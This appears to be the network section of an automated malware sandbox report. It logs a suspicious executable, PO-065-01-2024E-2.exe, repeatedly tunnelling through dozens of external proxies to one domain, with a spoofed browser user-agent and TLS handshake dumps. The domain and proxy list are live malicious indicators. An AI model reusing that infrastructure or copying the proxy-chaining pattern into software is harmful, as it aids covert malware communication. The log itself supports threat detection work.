Mar 11, 2024 16:40:25.789731979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.10	53463	105.112.140.218	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.550220966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.410823107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.652096033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.479506016 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.10	53429	103.242.119.88	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.550671101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.996411085 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Mon, 11 Mar 2024 15:39:49 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.10	53462	115.127.31.66	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.551322937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.10	53474	103.190.54.141	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.564284086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.10	51688	45.11.95.165	5214	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.567441940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.10	53481	121.66.198.76	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.572043896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.10	53484	154.12.178.107	29985	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.601166964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.10	53084	109.194.22.61	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.605917931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.10	53482	185.101.16.52	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.617958069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.10	53483	4.144.161.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.639933109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.390446901 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 16:39:50.390974045 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 25 c5 59 d5 ae 4f b2 d6 73 c1 16 e8 8d cf bf 7c 2f 82 8e d7 83 d1 7b ec 4b 85 40 70 6d 06 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%YOs\|/{K@pm,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#p:&~?4.(8p)+T@L[#5O
Mar 11, 2024 16:39:50.739727020 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 25 c6 eb 4f 50 86 10 4c 80 af a7 90 8b 05 8f 63 1d a0 f7 c1 c5 dd 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e%OPLcDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:39:50.739757061 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 16:39:50.739821911 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 16:39:50.739865065 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 16:39:50.765086889 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 2d a3 13 f7 e5 05 92 04 bd df 86 d5 75 b4 0d c1 6c 1b ad 53 d6 16 fb 03 e6 af f3 ef 19 99 e7 79 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 6b 8c b2 4a 4d b6 3b bb 40 de 22 4f 0c 7b b1 a0 ea 53 89 40 d9 Data Ascii: %! -ulSy(kJM;@"O{S@iu6b\
Mar 11, 2024 16:39:51.103914976 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 fe da 02 3d 4a 01 14 c2 d9 2a 3d f5 f5 3b 09 eb 76 59 db b8 0f 12 36 9b 14 1b dc 51 a4 18 93 39 b5 79 91 1c 7c fb 53 5b 40 2a 10 ee 02 c3 6f d5 0a 2c 03 3a 6c 6a 5b c8 08 cd 9a dc ea 50 11 c7 7f 08 f6 Data Ascii: =J=;vY6Q9y\|S[@o,:lj[Pr&mbLO= &0XLss/Jx@@fHx\!{X033tb/*N2wuML2dWivA(1#qFH_
Mar 11, 2024 16:39:51.125978947 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 c6 30 5f 44 3d 19 d9 21 d6 b1 5d ad 4d 27 01 29 82 12 cd 42 9f 3d a8 70 5b dd 3e c6 ee 4e 8b e3 51 93 51 e6 37 cf 92 ba c0 b0 59 7c 6f 1e c9 d1 5f 35 65 30 7b 36 e5 96 7c 3b 6d b1 71 fc 44 43 9e 65 56 d8 cc Data Ascii: 0_D=!]M')B=p[>NQQ7Y\|o_5e0{6\|;mqDCeVGZC4%(U-SUa01d:\+B]n!YQ%2u}B_Qq0Y*\|Z?:O;HN(XAhgDrmdeS7Zh%w^
Mar 11, 2024 16:39:51.472685099 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 a7 e8 02 c3 2c 0e e5 a7 6d fe 0c a4 7d 98 01 a7 10 98 4a 22 bb 07 13 c9 f3 a7 84 96 96 cf fd 2c 48 c1 0d c7 3c 24 f0 49 3b 04 6d 6c 3d cf 80 29 38 eb f2 c5 75 cd e0 94 7d f6 68 41 02 10 62 96 92 e4 e8 d0 15 Data Ascii: q,m}J",H<$I;ml=)8u}hAba\P.<'ha*4EzzI30%k"d[lJR[p=W06-=VgqBt:WYi\j8Qu=PKj78<Xq<jfLH[
Mar 11, 2024 16:39:51.472704887 CET	1286	IN	Data Raw: 5d 31 28 7d ee 62 db b9 b6 77 71 1c c4 ec a3 5e 5a f8 42 2b a8 51 5f 8c 72 06 1d 60 5a b6 66 45 ab 25 c9 b3 dd e6 0b 2e c2 31 41 91 18 60 0c 9a d4 9c d1 27 9c 71 b1 b2 94 d5 97 06 35 8b 08 be c4 6b d3 5f f5 20 67 6c 3c 51 e7 06 a1 37 cb e1 59 1a Data Ascii: ]1(}bwq^ZB+Q_r`ZfE%.1A`'q5k_ gl<Q7YX:n?eVE_~7PqqWhFNOVNE0m -BbA'}"<Q!xMnD$GbwxeX~Z5La.N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.10	53478	90.188.250.16	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.662631035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.10	52060	162.240.22.184	43494	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.681210995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.676749945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.677151918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.10	53489	61.79.73.225	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.752166033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.10	53486	170.84.205.17	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.769915104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.10	53492	23.137.248.197	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.778637886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.10	51829	122.116.150.2	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.779175043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.10	52095	177.234.194.157	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.795026064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.785965919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.802993059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.973515034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.988799095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.10	53491	177.67.136.241	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.804269075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.10	53546	23.227.38.230	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.806983948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.961188078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.10	53548	172.67.181.136	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.807286978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.961544037 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.10	52018	167.86.69.142	45364	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.823848009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.988959074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098536968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.285974979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.285706043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.285692930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:38.285792112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:02.285660028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
